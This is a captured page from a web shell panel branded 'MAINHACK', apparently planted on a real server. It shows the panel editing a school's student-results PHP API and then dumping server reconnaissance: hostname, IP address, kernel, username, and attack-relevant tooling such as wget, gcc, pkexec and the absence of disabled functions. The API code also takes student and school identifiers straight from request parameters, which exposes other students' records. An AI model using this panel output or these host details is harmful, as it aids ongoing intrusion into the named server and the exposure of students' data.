[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: api_getStudentSemesters.php
<?php header("Content-Type: application/json"); header("Access-Control-Allow-Origin: *"); header("Access-Control-Allow-Methods: GET, POST"); header("Access-Control-Allow-Headers: Content-Type"); include("../functions.php"); // DB connection $index_number = $_SESSION['student_id0023894565']; $myschoolcode = $_SESSION['myschoolcode']; $school_code = $_GET['myschoolcode '] ?? ($_SESSION['myschoolcode'] ?? ''); $index_number = $_GET['index_number'] ?? ($_SESSION['student_id0023894565'] ?? ''); $check_sql = " SELECT access_code, codeexpired, student_name, classname, schoolID, unique_student_code FROM enrol_details WHERE (schoolID = ? OR unique_student_code = ?) AND s_code = ? LIMIT 1 "; $check_stmt = $new->prepare($check_sql); $check_stmt->bind_param("sss", $index_number, $index_number, $school_code); $check_stmt->execute(); $pay_result = $check_stmt->get_result(); if ($pay_result->num_rows === 0) { echo json_encode([ "status" => "error", "message" => "Student not found." ]); exit; } $info = $pay_result->fetch_assoc(); $codeexpired = $info['codeexpired']; $today = date("Y-m-d"); // --- PAYMENT EXPIRED --- if (strtotime($codeexpired) < strtotime($today)) { echo json_encode([ "status" => "payment_required", "message" => "Access code expired. Please buy a new report code.", "expired_on" => $codeexpired ]); exit; } if (!$school_code || !$index_number) { echo json_encode([ "status" => "error", "message" => "Missing required parameters: school_code, index_number" ]); exit; } // --- PREPARED QUERY --- $sql = " SELECT DISTINCT term, form, academicyear FROM student_result WHERE s_code = ? AND index_number = ? ORDER BY academicyear DESC, form ASC, term ASC "; $stmt = $new->prepare($sql); if (!$stmt) { echo json_encode([ "status" => "error", "message" => "Database prepare() failed" ]); error_log("Prepare failed: " . $new->error); exit; } $stmt->bind_param("ss", $school_code, $index_number); $stmt->execute(); $result = $stmt->get_result(); $data = []; while ($row = $result->fetch_assoc()) { $form = $row["form"]; $term = $row["term"]; $year = $row["academicyear"]; $display = "{$form}/{$term} ({$year})"; $value = "{$form}-{$year}-{$term}"; $data[] = [ "form" => $form, "term" => $term, "academic_year" => $year, "value" => $value, "label" => $display ]; } $stmt->close(); // --- RESPONSE --- echo json_encode([ "status" => "success", "count" => count($data), "school_code" => $school_code, "student_id" => $index_number, "semesters" => $data ], JSON_PRETTY_PRINT); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.99 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002